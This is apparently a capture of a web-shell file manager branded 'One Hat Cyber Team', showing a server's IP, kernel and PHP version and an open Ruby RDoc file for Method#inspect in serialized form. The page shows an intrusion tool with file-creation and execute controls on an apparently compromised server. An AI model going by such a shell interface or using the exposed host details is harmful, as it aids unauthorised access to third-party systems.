⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Method
/
Edit File: inspect-i.ri
U:RDoc::AnyMethod[iI"inspect:ETI"Method#inspect;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"CReturns a human-readable description of the underlying method.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"E"cat".method(:count).inspect #=> "#<Method: String#count(*)>" ;TI"M(1..3).method(:map).inspect #=> "#<Method: Range(Enumerable)#map()>" ;T:@format0o; ; [I"LIn the latter case, the method description includes the "owner" of the ;TI"Koriginal method (+Enumerable+ module, which is included into +Range+).;T@o; ; [I"I+inspect+ also provides, when possible, method argument names (call ;TI"#sequence) and source location.;T@o;; [I"require 'net/http' ;TI"$Net::HTTP.method(:get).inspect ;TI"k#=> "#<Method: Net::HTTP.get(uri_or_host, path=..., port=...) <skip>/lib/ruby/2.7.0/net/http.rb:457>" ;T; 0o; ; [I"M<code>...</code> in argument definition means argument is optional (has ;TI"some default value).;T@o; ; [ I"KFor methods defined in C (language core and extensions), location and ;TI"Qargument names can't be extracted, and only generic information is provided ;TI"Qin form of <code>*</code> (any number of arguments) or <code>_</code> (some ;TI"positional argument).;T@o;; [I"E"cat".method(:count).inspect #=> "#<Method: String#count(*)>" ;TI"A"cat".method(:+).inspect #=> "#<Method: String#+(_)>"";T; 0: @fileI"proc.c;T:0@omit_headings_from_table_of_contents_below0I"meth.inspect -> string;T0[ I"();T@.FI"Method;TcRDoc::NormalClass00
Simpan